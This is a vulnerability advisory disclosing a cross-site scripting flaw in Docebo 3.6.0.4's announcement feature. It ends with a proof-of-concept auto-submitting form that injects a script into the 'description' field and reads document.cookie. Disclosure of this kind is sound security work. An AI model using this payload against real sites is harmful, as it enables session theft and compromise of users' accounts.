Vulnerability ID: HTB22612 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_docebo_announcements.html Product: Docebo Vendor: Docebo ( http://www.docebo.org/ ) Vulnerable Version: 3.6.0.4 and probably prior versions Vendor Notification: 20 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "doceboLms/index.php" script to properly sanitize user-supplied input in "description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/doceboLms/index.php?modname=advice&op=upadvice"; method="post" name="main" > <input type="hidden" name="idAdvice" value="2" /> <input type="hidden" name="title" value="Hello" /> <input type="hidden" name="description" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="addadvice" value="Save changes" /> </form> <script> document.main.submit(); </script>
